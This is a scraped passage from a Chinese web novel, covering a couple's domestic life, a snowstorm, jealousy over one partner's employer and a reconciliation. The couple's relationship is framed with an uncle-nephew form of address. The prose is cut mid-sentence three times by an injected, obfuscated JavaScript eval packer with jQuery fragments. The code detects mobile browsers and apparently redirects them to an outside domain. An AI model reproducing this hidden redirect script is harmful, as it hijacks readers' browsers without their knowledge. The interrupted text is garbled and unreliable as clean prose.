“小宝。”他还想说话,然而姜瓷已经被这一声惊着了,猛地回头看过来,满脸惶然,手忙脚乱地拿毛巾去掩身体,大约是地上太滑,脚下趔趄了一下,险些摔倒。 糜岭眉头紧皱,立刻撇过头,说:“我不看你,你别害怕,擦完头发就出来吧,不要着凉了。” “不、不是——等、阿岭!” 糜岭已经转过身往外走,但将将握住浴室门把手,便感觉姜瓷柔软的身体撞过来腻住了他。 “我说了等等,”他带着哭腔,收紧抱着糜岭腰的手臂,“先别走……” 他身上还没擦干,全是水,软糯的身体在背上碾来碾去,糜岭心里火烧一般,马上去推他,哑声道:“小宝,你先把衣服穿——” “我不是不给你看,也不是不给你碰,”他哭出声来,“不是你想的那样,是因为我——我……好奇怪……” 糜岭缓缓回身,小心翼翼搂住他的腰,抹掉了他颈边的水痕,他像小猫似的歪头蹭他干燥的手掌,又喃喃说:“我好奇怪……” “哪里奇怪?” 他吞吞吐吐道:“就、就是……哪里都奇怪……” “怎么奇怪?不是很好么?舅舅从认识你起就觉得很好。” 他摇摇头:“不好,本来就够奇怪了,不是男生也不是女生,结果现在又这个样子,又生了米米……太怪了,不想给你看见……你别生气,不要走,不要睡到隔壁,我想要你抱着我睡觉……” 他哭吟着瑟瑟发抖,糜岭抱着他,恍惚觉得他像只新生的幼崽,对自己对周遭的一切都充满了困惑与惶恐。 姜悦还在时,抵住了外界大多数的纷扰,没怎么让他吃过苦,把他养得近乎孩子般天真,到了香港,猛然间落到魔窟里,困在那么小一个地方,能懂什么,五载光阴流水一般倾泻下来,只把他的纯洁洗蜕成了纯熟,内里,他仍有点儿不谙世事的稚气。从金园出来,还没怎么过安生日子,带着对自身独特身体的疑惑,又生养了孩子。还记得从前问他这件事,他那么斩钉截铁地说过“不会怀”。现如今仿佛是被连根拔起栽进了一块新的土壤,新的生命,新的人生,什么都翻天覆地地变了,是该惶惑惘然的。 糜岭捧着他的脸吻了吻他,柔声说:“宝宝,这只是暂时的,不会一直这样。” 他恹恹地:“怎么不会?我就是永远都这个样子了……其他每个人都那么确定,没有人像我一样好像是这一边,又好像是那一边,我就是个怪——” “小宝不需要在任何一边,一直待在舅舅身边就好了,你在我身边,我们和米米在一起,就是确定,就是好,”糜岭抱他坐到浴池边上,拿毛巾给他擦脸,“这也不叫奇怪,叫独一无二,这世上独一无二的东西都有特殊的地方,正是因为它们的不一样,所以才显得珍贵,是不是?” 他迟疑着点了点头。 糜岭又说:“你也是,是独一无二的姜瓷,是我和米米最珍贵的宝物。” “可是,米米……说不定她长大了懂事了,知道了一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831071|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,会讨厌我。” “不要多想,她会是个好孩子,会和我一样爱你。” 他沉默片刻,揉揉酸涩的眼睛,手脚并用缠住糜岭,嗫嚅着说:“嗯,你一直跟我说的,不管我什么样子,都喜欢我。” “前几天闹别扭的时候不想着我说过的话,这会儿倒想起来了。” “我就知道你生气了,你还说没有,还不跟我睡觉。” “我怎么跟你睡,你往我怀里一躺,舅舅满脑子都是别的事,一碰你,又不高兴,不如我睡到别的房里去。” 姜瓷软软道了声“对不起”,一边搂住他脖颈,细声说:“你满脑子什么别的事啊?” 糜岭笑说:“还能有什么事?” 姜瓷一直睡到第二日下午才起来,米米躺在床边摇篮里,正抓着拨浪鼓玩得不亦乐乎,似乎是感觉到姜瓷在看,便偏头回望过来,咧开嘴咯咯笑了。 “你今天怎么这么乖啊米米?爸爸呢?知不知道爸爸去哪儿了啊?” 米米咿呀叫着,仿佛听懂了,手臂往门口挥。姜瓷抬眼看去,竟真的看见了糜岭,抱着捆成卷的地毯,蹒跚跨进门来。 他皱了皱眉,下床迎过去:“你干什么搬这么重的东西!” 糜岭放下地毯铺在门口,瞥见他脚上光溜溜没穿鞋,便抱他踩在自己脚背上,亲了亲他,说:“就从隔壁房里拿来的,几步路。等会儿叫佣人去库房里翻翻,看还有没有,多铺几张。总跟你说穿鞋穿鞋,别光着脚踩地上,你反正是不听。现在天气热是热了,可也容易着凉,你一病起来又是十天半个月都好不了,不肯穿鞋,只好给你铺毯子了。” 姜瓷蜷一蜷脚趾,踩上绵软的地毯,腻在他怀里嘟囔:“我知道啦,以后一定记得。” 糜岭低头蹭蹭他鼻尖,笑着说:“马上小宝的鼻子就变得跟匹诺曹一样长。” 他也跟着吃吃地笑。 “腰痛不痛?昨天——” “啊,不要当着米米的面说!” 糜岭笑着应道:“好好,去躺着吧,舅舅给你揉揉腰。”他轻轻推一下姜瓷,姜瓷挪了挪步子,见他忽然蹲了下去,勉强地曲起那条受伤的腿跪在地上,去抚地毯翻卷的一角。 他看着他微微佝偻的背,忽然间对自己的身份无比笃信,男人也好,女人也好,就像糜岭说的,他首先独一无二,然后是糜岭的永永远远的爱人。 53. 番外 夜露乍冷(上)[番外] 那天恰好是春分,白日里还很暖和,然而近黄昏,天色逐渐暗沉下来,气温骤降,外面下起了雪。 米米在春节里刚过完两岁生辰,这是她出生后第一次见到雪,方才已经在屋子里撒泼打滚闹了一回,非要到院子里玩。前几日她洗澡的时候受了凉,一直有些咳嗽流鼻涕,糜岭自然不会让她出去,就自己到外面捏了个巴掌大的雪人,放在书房外面的窗台上。这会儿父女俩正站在窗前赏雪。 米米把脸贴在窗玻璃上,嚷道:“爸爸!你忘了给雪人穿衣服了,它会冷!爸爸,爸爸呀,就给它穿和米米身上一样的衣服,好不好?”她自己一身大红色绣荷花的棉衣,系着条短围巾,本就胖墩墩,这下子看着更是圆溜,像颗硕大的糖葫芦,一口一个“爸爸”,叫得脆生生又甜蜜蜜,糜岭感觉真仿佛舔了口糖葫芦般,嘴里直发腻。 他满口应下,抱着孩子要去找衣服,离开前瞥了一眼姜瓷。他站在书桌那儿接电话,接了许久了,背过身,一只手掩着嘴巴,说话声又轻又细,窸窸窣窣,与壁炉里木柴爆起时的噼啪声此起彼伏。 米米见他看着姜瓷停住了脚步,便倾了倾身子朝那边喊:“妈妈!和我还有爸爸一起——” 话音未落,姜瓷抬起手来朝他们摆了摆,立刻又回过去和电话那头的人说:“是我小舅舅,还有米米……” 糜岭敛了敛眉,转身往外走,米米搂着他脖子轻声问:“爸爸,每次妈妈和电话里的人说话,为什么叫爸爸小舅舅?小舅舅是什么?” “妈妈一定是在忙工作的事情,在妈妈工作的时候,他就得说那些话。” “可是妈妈不是说不能说谎吗?你就是我爸爸呀!” 糜岭蹭蹭她脸颊:“是啊米米,所以妈妈跟电话说什么不重要,米米心里知道我是你爸爸就好了。” 米米似懂非懂地望着他:“电话里住着的人一定是个坏人,他总让妈妈说奇怪的话。米米讨厌这样!” “可是米米,妈妈跟电话里的人说话,才能赚到好多好多钱给米米买玩具买新衣服,米米刚刚说的话要是被电话里的人听去了,妈妈就就赚不到钱了,所以要保密,记住了?” 姜米点点头,指着身上衣服应道:“这也是妈妈买的,米米做个好孩子,妈妈以后还给我买很多!也给雪人买!” 父女俩拿了衣服回来,恰好在门口与姜瓷碰个正着。他大氅穿了一半,见着糜岭便扑过来要抱,腻在他怀里,没头没脑地说:“阿岭,我去一下。” 一般他讲这种秃头的句子,就是要去工作的那家药铺整理账目。铺子叫义生堂,是上世纪就在上海闻名的老字号药房,光分号就有几十家。义生堂家主为了历练小儿子,在去年十一月份又开了间新铺子,给他打理。姜瓷就在这间铺子里工作。一开始糜岭接送他,后来他熟悉了路,自己骑自行车过去,一刻钟就能到。 他账目做得清清楚楚,又好又快,人也勤勉机灵,很快受到器重,时常就要这么被叫去处理事情。 糜岭贴着他嘴唇,两人黏黏糊糊浅浅地吻了几下,姜米抱着糜岭的腿站在下面嚷:“啊!米米也要亲亲!亲亲!” 姜瓷吃吃笑着,俯身去抱她,与她一人一边靠在糜岭肩上,糜岭低头哄他说:“小宝,今天好不容易休息一天,马上又要吃晚饭了,外面还下雪,还要出去?我们三个像现在这样待在一起不是很好么,药房里又不止你一个账房,叫别人去吧?” 姜瓷软着嗓子撒娇:“就一会儿,而且药房离家这么近,我真的很快就回来,最多一个小时,老板说我前些天的账算错了,我刚才在电话里告诉他绝对不可能,他不相信我,我去当面算给他看,好阿岭,求求你了,我一定回来和你们一起吃晚饭,我保证。” 糜岭禁不住又低头吻他,米米倾了倾身,短胖的胳膊环住两人,凑上去啵啵地亲他们的脸,姜瓷又被逗笑了,对她说:“米米,妈妈现在要去工作,赚钱给米米买零嘴,好不好啊?” “好啊好啊!妈妈我想吃糖!” “那明天我们就去买,现在米米在家要乖乖的,妈妈跟你说过,爸爸的腿会疼,所以不能怎么样啊?” “不能一直要爸爸抱!米米听话!”她蹬起腿来,糜岭便放下了她,微微弯着身子把手给她牵住了。 姜瓷朝糜岭狡黠一笑,糜岭无奈摸摸他脸颊:“里面再多穿一件,把围巾也戴上,我叫管家送你。” “不用了,”他又吻了糜岭一下,穿好大氅,领子竖起来遮住脸,已经转身往门外走,“老板说他来接我!” 他跑进雪里,声音被风一吹,飘忽又渺茫,零零碎碎落到糜岭耳朵里,糜岭听着愣了一瞬,马上喊管家追上去。和米米就立在门口等了一会儿,管家跑回来报告说,追到大门口,姜瓷已经坐上一辆车离开了。 过了一个小时,糜岭接到姜瓷电话,说确实算错了帐,估计得再有一阵子才能回去。糜岭隐约听到那头有男人在笑,爽朗又豪迈的年轻嗓音。他垂眸拨弄着电话线,顿了一顿,说:“好,我知道了,回来前给我打电话,我去接你。” “啊不行,你的腿还是少吹冷风,你放心吧,老板他说会送我,就这样,我先挂了啊。” 糜岭握着听筒走了走神,僵立半晌才走出书房。米米早就嚷着饿了,他没什么胃口,只喝了几口热汤。饭后读书给米米听,教她认字,看她打起瞌睡来便送她回了房间,趁这时候去洗澡。 他泡在池子里,被热气熏得有些头昏,恍恍惚惚,耳边又浮现那道爽朗的笑声,第一次听到是在去年的十一月份,姜瓷在药铺里做事的第三天。 那天早晨风很凌冽,药房旁是条巷子,穿巷风涌过来更是刺骨,他催促姜瓷快点进门,然而姜瓷将将开始上班,还有些不适应,埋头躲在他怀里不肯走。米米倒是没心没肺,闻着旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831072|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早点铺里飘出的包子香气流口水,反复地叫着:“妈妈再见妈妈再见,现在爸爸要带米米去吃包子了!” 那道爽朗的笑声就是在这时候突兀地在身后响起来:“姜瓷,这是你女儿吧?总听你提起!不过她怎么对着你一个男的叫妈妈呢!” 姜瓷立刻从糜岭臂弯退出去,几乎有种连滚带爬般的急迫,尴尬地捋捋头发,摸摸衣襟。他头发剪得齐耳短,人也瘦下去一些,眉目不似原来那般柔软圆润,从那时起就一直以男装示人。 他眨着被风吹得潮红的眼睛,给糜岭使了个恳求的眼神,随即与那男人一起往铺子里走,一边说:“她就是叫我爸爸呀,你没听她说要我带她去吃包子?那一位是我、我的……是我小舅舅,米米从小跟在他身边,总把他当妈妈,一通乱叫……” “哦,你干什么不让我跟他还有你女儿说说话?介绍我们认识一下!” “改天吧,今天外面那么冷。” “也对,小孩子容易伤风!对了,她真正的妈妈呢?” “额她……去世了,生病……” 门阖上了,穿巷风猎猎呼啸过来,糜岭手脚发冷,在原地僵站着。透过门窗,他看见那人步伐稳健地走在走前,替姜瓷拉开了柜台门。两人一齐走到柜台后,一个拨算盘,一个翻账本,手臂与手臂贴在一起,两张年轻的脸,被射进窗户的阳光一照,闪着细细的赤金色微光。 他收回视线,蹲下来抱起米米,轻声说:“走吧米米,爸爸带你去吃包子。” 其实他想要每天风雨无阻地接送姜瓷上下班,可是自那之后姜瓷再也不让他靠近那间药房了。对在工作中认识的人,姜瓷一律告诉他们,他现在带着女儿借住在小舅舅家里。 从米米慢慢会说话那会儿起,姜瓷就很注意不再叫“小舅舅”了。这个称呼牵扯了太多过往,一时还不能向米米解释清楚。然而现在为了工作,“小舅舅”又重新回到两人生活里,可是它从甜蜜的爱称变成了用来掩盖两人关系的一张布。 糜岭被蒙起来,留在晦暗之中,以保姜瓷可以继续到外面的世界徜徉。 他可以理解,并且一直以来都没有什么怨言。只是最近,姜瓷接打电话的次数愈来愈频繁,总是在不合时宜的时间出门,总是说:“他会来接我。”或者说:“他要我过去。”隐隐约约的暧昧与遮掩。 不敢多问。还在香港的时候,他嫉妒姜瓷跟家里的厨师傅说话,那时候就大吵了一架,现在要是再因为同样的事情吃醋,不知道得闹成什么样。 他掬了捧水往脸上扑,定了定神,这时候忽然听到门外奶妈在喊他,似乎有急事。他站起来跨出池子,去抓挂在洗手台边的毛巾,视线不经意往镜子里掠了掠,像是看到鬓角处闪过一线细细的白色。他怔了怔,猛然间胸口一沉,身子一歪险些摔跤,稳住身形后,拿手掌掩住鬓角,急匆匆穿好衣服出去了。 ? 54. 番外 夜露乍冷(下)[番外] 在卧室里,奶妈一边哭一边说:“我刚才就眯了会儿,一醒过来看见孩子手臂露在外面,一摸她额头,这么烫!也就几盏茶的功夫,怎么突然就病成这样了!” 他摸摸姜米通红的脸,姜米略略睁了睁眼睛,咳了几声,呼哧呼哧喘着,哭都没什么气力,虚声叫着“爸爸”,又说:“我要妈妈,妈妈……” 奶妈急得直跺脚:“哎呦,现在外面雪越下越大了,刚刚我去找管家打电话,电话也打不通,这可怎么办呢!” “打不通?” “是啊!不知道是不是下雪害的,试了医生的电话,也试了夫人工作的药房电话,都不通!” 糜岭往窗外张望,雪还没有停的迹象,窗台上已经叠起厚厚一层白。他握一握姜米滚烫的小手,没再耽搁,卷起被子裹在她身上,说:“把我的大衣拿过来,我带她去找医生。” “可是——” “快去!” 开不了车,只能走路,一脚踏下去,积雪一直没到脚踝。上海哪下过这么大的雪,跟着出来的几个家仆都有些惶惶。糜岭更是惴惴不安,联系不上姜瓷,米米病着,还不知道街上有没有药铺开着门。思忖片刻,决定先去姜瓷工作的那家义生堂瞧瞧情况,赶过去正好也能与姜瓷会和。 他担心摔伤着米米,便让管家抱着她走在后面,自己和其余几人在前面挡着风,踩出条小道来。 在雪里走路,更吃力了,沾在裤子上的雪化开来,寒气逼进身体里,砭骨的冷痛。他渐渐跟不上其余人的步伐,落到了最后面,手杖掷在被踩过的湿滑雪地里,根本撑不住身体的重量,狼狈地摔了好几次。管家频频回头望他,他摆摆手催促他快走,拍掉身上的雪,扶着路边的树艰难站起来,瞧着前方一片深深积雪,只觉得天旋地转。 他想到姜瓷的老板,年轻,健康,可以走在姜瓷前面为他拉开沉重的柜台门,也可以开车载姜瓷去他想去的地方。遇到现在这种事,一定也可以亲自抱着孩子在雪地里平稳地行走。 他赶到义生堂时,管家和家仆们坐在前厅里喝热茶,米米已经被值夜的大夫带到里屋去了,隐约可以听见她在哭着叫“妈妈”。他便以为姜瓷在里面,刚想坐下喘口气,那大夫便从里屋探了个头出来,说:“孩子哭得太厉害了,你们来个人哄哄,不然没法吃药。” 他皱了皱眉,跟到里屋去,哪有姜瓷的影子。坐在床畔,接过大夫递来的药喂米米喝,嘴巴上说着哄骗的话,可脑海里一片空白,一直嗡嗡地响。 那大夫见他被雪淋得浑身湿透,脸也冻得青苍,便多加了几只炭,把炭盆推到了他脚边。他还是觉得冷,寒意一直逼到心里,右腿痛得麻木,几乎没了知觉。 米米喝完药睡着后,大夫又倒了杯热茶递给他,他浑浑噩噩的,举在手里没喝,哑声问:“你们店里的账房,姓姜的那个……” “姜瓷吗?” “嗯,他是米米的……爸爸。” 大夫“咦”了一声:“我说瞧着这孩子有点儿眼熟呢!怪不得你们找到这儿来。” “刚刚吃晚饭那会儿,他说要来店里一趟。” “我一直在这里,没看见他来啊。” “哦,是么……”糜岭喃喃说着,手不住地发抖,不小心将茶泼进了炭盆里,嗤拉拉一阵火焰熄灭的声响,屋子里骤然一暗,阴冷的空气随即重新淹到身上来。他咽了咽酸胀的喉咙,听到自己轰鸣的心跳,大夫站起身去拿火钳,脚步零碎,躺在身后床上的米米呼吸声还是那么粗重,在睡梦中不安地呓语着,外头呼啸的风吹得窗户哐哐地震动。他缓缓倒下身子躺在米米身畔,听到这些声浪逐渐退远。一切都渺茫得恍如隔世。 雪一直下到第二天上午才停。街道上渐渐热闹起来,男人们将积雪铲到路边堆了起来,早点铺子里一笼笼蒸屉飘出浓白的雾气,卖报的小孩子在湿滑的路上依然健步如飞,太阳高悬,然而不热烈,照得一切的影子都淡淡的。 电话还是打不通。糜岭想着姜瓷或许会回来店里,留了口信请药铺的伙计帮忙转达,之后便带着米米回了家。家里奶妈一天一夜没收到他们的消息,也不见姜瓷,早已急得火烧眉毛,见雪停了就寻出来,恰好与他们在家门口碰上了,当下大哭起来。 米米原本睡着,这么一下便被吵醒了,一睁眼就要妈妈。糜岭哄她说妈妈去买糖了,她也还是声嘶力竭地哭,不过因为烧刚退,还没什么精神,嚷了几声便安静下来,趴在糜岭肩上抽泣,口齿不清地说:“妈妈不要米米了,为什么,米米很乖,也没有一直要爸爸抱,爸爸,米米好难受……” 糜岭如鲠在喉,脸颊靠在她毛茸茸的头发上,顿了半晌,声音闷闷地道:“米米不要害怕,还有爸爸在,爸爸会陪着米米,哪也不去……”话说起来好像姜瓷真的不要他们父女俩似的。 到家里,再把米米哄睡着,糜岭已经精疲力竭,昨夜受了凉,现下也有些发热,换了身干净的衣服,奶妈端来的姜汤还没来得及喝,本来还想立刻带着人出去找姜瓷,佣人又来报说有客人来访。 在书房里,他紧靠壁炉坐着,右腿几乎贴在火上,然而一阵又一阵的冷痛还是从腿骨里往外泛,浑身冒冷汗,把刚换的衣裳又浸湿了,也没把客人的话听进去多少。 正恍惚的时候,忽然外头院子里爆出好几声响亮的鸣笛,他抬头望出去,看见一辆黑车横冲直撞飞进花圃,木篱笆碎片,花草,树叶子,溅得到处都是。车子还没停稳,车门便被推开,姜瓷像是滚下来似的往外跌,踉踉跄跄地往家里奔。那药铺的年轻老板追上来捉住他的手,他大叫着,猫发怒似的一阵拳打脚踢,抬手啪啪啪打了那人几个耳光,立刻又转身往家里跑,嘭地撞开大门,一叠声地叫道:“阿岭!阿岭!” 不待糜岭起身,他已经闯进书房来,顾不上还有客人在,扑到糜岭怀里哭起来。客人见状便识趣地离开了。糜岭抱着他细细打量一遍,头发乱蓬蓬,衣襟上扣子被扯掉了两颗,大氅的白狐毛上全是黑手印。 “怎么了宝贝,”糜岭捧着他的脸,双眼涨红,“是不是他欺负你?有没有?”他把手摸到他衣襟下,他忽然直起身子将衣服掀开,说:“没有,给你检查……不是那样……” “好了别着凉了,”糜岭合上他衣服,“没事就好。昨天到哪去了?电话也打不通,怎么能晚上不回家?你要是在外面出点什么事情,宝宝,你让我和米米怎么办?” 他簌簌掉眼泪,抱着糜岭要亲,沉默片刻,视线心虚地往边上移,说:“对不起……就是在店里查完了账,然后……额……他说送我回来,但是他一直开一直开,到一家西洋餐厅,说请我吃饭。后来我要走,雪太大走不了,只能困在那里……今天雪停了,我要回来,他还不让我走,我就骗他说我不舒服,必须回来拿药吃……” 糜岭把脸颊贴在他胸膛上,浅浅地吻他的脖颈,低声道:“他喜欢你,是不是,宝宝?” 他抱紧了他脑袋不应声,感觉他脸颊火一样,烫得心口发痛,摸摸他额头,问说:“你怎么了阿岭,你发烧了?是不是因为昨天在外面给米米堆雪人吹了风,我早就跟你说了不要——” “是米米昨天晚上病了,我带她去了义生堂。” 他身子一僵,下意识退开来,糜岭便也放开了他。两人默默相对,半晌,糜岭捏了捏他的手,道:“先去看看米米吧,你不在,她一直哭。” 他抹一把通红的眼睛:“我说谎是有原因的……我没和老板怎么样,而且我跟他说我以后不在他那里做事了,阿岭,我——” 糜岭皱着眉,双眼紧闭,倦怠地叹了口气:“等会儿再说吧小宝。” 姜瓷去看了米米回来,糜岭正从书架上拿书,听见动静也没回头,说:“刚刚珠宝店的人来了,找我谈了点事情。” “哦,我进来的时候看见他了。阿岭,你听我说……”他这么讲,却沉默了,扭扭捏捏地绞着手指。 糜岭没有追问,拖着痛麻的腿挪了挪步子,去拿书架最上面的一本书,一抽出来,其余书也跟着哗啦啦往下掉,砸了一地。他想蹲下去捡,然而膝盖直挺挺僵着,动弹不得,只好作罢,扶住身侧的书桌,借力坐下了。 “宝宝,等米米病好了,我要去趟浙江,到那边谈笔生意。”他撑着脑袋,指关节摁在突突发跳的太阳穴上,听到姜瓷诧异地叫了一声,头又痛几分。 “可是你当初和那个人合伙开珠宝店的时候不是约好了吗,你只要出钱,他出去跑业务,打理店铺,怎么现在要你去做事?你还在生病,我听奶妈说了,下大雪,你走过去的……” 姜瓷蹲下来把两手轻轻放在他腿上,他垂下手搭在他发顶,说:“这次的生意他处理不了,刚刚过来就是跟我聊这件事,我得去一趟。” “不行,我不同意,我不让你去。”他一把搂住他的腿抱紧了。 糜岭用烧得模糊的眼睛睨向他,他的脸像浮在雾气笼罩的池塘里的一朵白荷花,花瓣尖透着点儿活泼嫩软的粉,是才将将绽放正值青春的时候,攀在自己这支枯藤上,算什么事呢。 “姜瓷,我……”他声音喑哑,“我有点累……我想一个人待一阵子,正好有个机会能到浙江去……大概下个月,或者下下个月再回来。” 姜瓷抬头望过来,方才在米米那儿也哭过,双眼红肿着,就这么定定地看了他许久,才缓缓站起身,很是惘然的,好像很诧异事情怎么弄到了这步田地,心里还总以为抱着他撒撒娇一切都能万事大吉。 “阿岭,阿岭啊……”他颤声地叫着,语无伦次,“我、我真的没有和那个人怎么样,真的,你别生气,你要去浙江,你去那里干什么,还去那么久!”他哭起来,“马上不是要到你的生日了吗,我想送你一个礼物,用我自己挣来的钱。上一回米米玩你的手杖,就是画着蛇的那一根,她把嵌在上面的宝石扣掉找不到了,我想重新买根一样的送给你,就问了老板有没有认识的人做这个,他最近一直打电话给我就是为了和我说这个事,今天他是带我去见那个卖手杖的人了。” 糜岭没什么反应,仍垂着头,一手按在大腿上。“是么……谢谢你宝贝,不送也不要紧的。”他平静地说。 姜瓷扑到他跟前,又蹲了下来,枕在他膝头哭:“我画了张图,让那个人照着做一支一样的,因为上面还有宝石,我赚一年的钱都买不起么,所以就和老板商量,要他预支薪水给我,结果他说,如果我和他在一起的话,就帮我……谁知道他是那种人吗!我再也不会见他了,也不去药铺做事了!阿岭,你别生气了,小舅舅……” 他许是无心,但这一声“小舅舅”直直地刺到糜岭心里去,他俯身去推他,有些不耐地说:“别哭了,起来,地上凉。” 姜瓷摇摇头,执拗地跪坐着:“你别走……不然,我跟你一起去,你一个人在那边,又生病,腿又不方便,我怎么能放心,我跟你一起去,还有米米,就当我们去旅游,好不好?” 他讲这些话,又戳糜岭心窝子,他一下子没压住火,皱着眉冷声回道:“没遇见你之前,我照样到处走,腿不好,也没见出什么事情。” 姜瓷听得怔了怔,默默揩掉眼泪,不再说话了。 糜岭按一按酸胀的眼睛,托着发沉的脑袋,叹一声:“对不起,起来吧宝宝,过来,我和你说话。” 姜瓷便慢吞吞起身,坐到他腿上给他抱着,脸偎在他肩上。他轻轻拍着他的背,解释道:“我没有生气……有一点吧,你总丢下我和米米去见他。” “可是现在你知道了我不是和他去幽会。” “我很害怕,姜瓷。”他突兀地说。 “什……么?”姜瓷迷茫地看着他。 他道:“我担心你出事,总归你不在我身边,我就不踏实,从去年你开始去工作的时候起,隔三差五梦见你被人掳走。昨天一整晚没有你的消息,虽然我们现在到了上海……在香港的时候,就是因为我没拦住你,才让你到了金园那种地方,昨天你走时的情形,和许多年前的那个晚上多么像……可是你那么重视你的工作,你那么开心,宝宝,我希望你一直开开心心,总不能关着你不让你出门。” “阿岭,对不起,我下次再也不这样了,我一定好好听你的话,晚上不出去,下雪也不会乱跑了……” 糜岭略略摇一摇头:“你接触到全新的一个世界,到处都是眼花缭乱的人和事,一切都与你之前的人生大不相同……你没经历过,很容易就会陷进去,就会把我忘在后面,更何况我还是个瘸腿的老男人。” “谁说你老——” “我不是在怪你,只是外面花花世界,太多太多比我更好更优秀的人,年轻的,健康的,一个接一个蹦到你面前,时间一久……” “哦……”他语气生硬起来,“说这么多,意思是我以后会和别人不清不楚?还说不是在怪我?” 糜岭顿了片刻,有点儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831073|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答非所问地说:“你能去工作,能赚到钱,以后如果我不在了,你也可以自力更生,我很高兴,小宝,我不是反对你接触外面的世界。” 他听了却冷笑一声,咄咄逼人起来:“不知道你这个人是怎么回事,一会儿说这个,一会儿说那个,到底什么意思,反正我没听懂,说什么‘以后我不在了’……讲这些干什么!你又不是我,凭什么觉得我会变心,你就这么不相信我,觉得我会抛下你随随便便就跟一个什么人走吗?再优秀年轻的人,腿脚再好的人,又怎么样,能比得过我们一起经历的那些事那些日子吗?还有,你既然看不见我就不踏实,怎么还要去浙江去那么久?这会儿你倒放心我一个人留在家里了!” “你可以照顾好自己了,一直以来都是我自己想太多……我想静一静……” “什么?这算什么回答!你怎么能这样!”姜瓷哭叫着推他,他沉静地回望过去,轻轻抚他脸颊,他原以为糜岭要道歉,可却听他说:“你现在是一个全新的人了……我配不上你。” 他气得火冒三丈,跳出他怀抱,叫道:“什么配不配的,非要说这种话……你简直不可理喻!”说完便怒气冲冲地踩着地板,脚步蹬蹬跑出去了。 一直到糜岭出发去浙江那天,姜瓷还在和他冷战。他在雪里冻了一夜,病得比米米还久,那天早晨起来还是咳嗽,咳得厉害,腿也痛,但仍是动身了。离开房间的时候姜瓷抱着米米还睡着,或许醒了,糜岭俯身亲他的时候,看见他睫毛颤得像蜜蜂翅膀似的,可是他始终没睁眼,连一句再见都没说。 他生着病,又旅途奔波,等到了浙江,人都瘦了不少,腿疼,找了当地的推拿师傅,又请针灸师傅,调理了好一阵子才恢复过来。 养病的日子里也没闲着,参观探访了好几家闻名的珍珠培育场,与本地的大型珍珠原料商见面,磋商长期合作事宜。忙忙碌碌,回过神来天气都转暖了。 这天傍晚,他受邀去酒楼与客户吃饭,在旅店前台,一个仆欧拦住他,递来一封信,说是有人托他转交的。信上没有邮戳,拆开来,掉出一张巴掌大的泛黄的剪报,上面用正楷写着: 姜瓷糜岭结婚启示谨詹于民国某年某月某日假座花园东路康乐饭店举行结婚典礼恭请张志骁先生证婚诚候诸位亲友光临观礼特此敬告 两年前结婚时登的报,那会儿姜瓷还怀着米米,平日里万事以他为先,又得忙着修缮房子,天天焦头烂额,所以婚事办得简单,其实也就是与张志骁夫妇吃了顿饭,没什么亲友出席观礼。太多事情堵在一起,甚至没想起来要将这则启示留下来作纪念,等空下来再去翻报纸,大海捞针,哪还翻得到,总以为这辈子都再看不到了,一直到现在都怀有遗憾。 可此刻却将心心念念的东西握在了手里,想起那时候在饭店张志骁说的结婚证词,“赤绳系定,白头永偕”,忽然地心里一阵酸楚。 在酒楼,前几次与客户吃饭,他从不喝酒,今日谁敬他的酒,他都照单全收,散席时已经醉得站不稳了,被扶着走出大门,正要上车,忽然听到有人在叫他,软软糯糯的一声“阿岭”,醉意朦胧地懒懒瞥一眼过去,姜瓷抱着支手杖站在车尾,穿着旗袍,红黄蓝绿,靡丽的颜色,纷乱搅在一起,腰身紧俏地勒着,细细一把,收进去,又凸出来,曲曲折折的柔熟。 同行的人问道:“是糜先生认识的人?” 姜瓷连忙抢答:“我是他的夫——”他想说夫人,穿这一身就为了在人前能说这句话。 可是糜岭打断了他,冷淡地说:“是我的外甥……外甥女。有什么事?找到这里来,大晚上一个人在外面……”他没说下去,坐进车里,留着车门等姜瓷自己坐进来。 姜瓷早已满面泪水。他不知道在外人面前被这样生疏地称呼是如此心酸的一件事,如坠冰窖似的。早前在香港都不需要用舅甥的身份遮掩,更何况现在两人都结过婚,有了米米了。 他脚步虚浮,游魂似的坐进车里。一路上两人都沉默无言。 回到旅店进了房间,糜岭醉倒在床上,像是睡着了。姜瓷无措地站了一会儿,倒了杯水,坐在床畔给他解领带,手一摸上去,他就睁开了眼睛,说:“怎么过来的?” “坐车,张先生替我找的车。” “米米呢?” “在张先生家,她一直哭,还说是我先不要你,你生气了才走的。” 糜岭轻轻笑起来,姜瓷埋怨地推他一下:“你还笑,我都急死了,干嘛这么久了还不回去,已经冷静够了吧,以前在金园,你都没和我分开这么长时间……” “嗯,”他含糊地应了一声,握着姜瓷的手亲了亲,“报纸怎么找来的?” 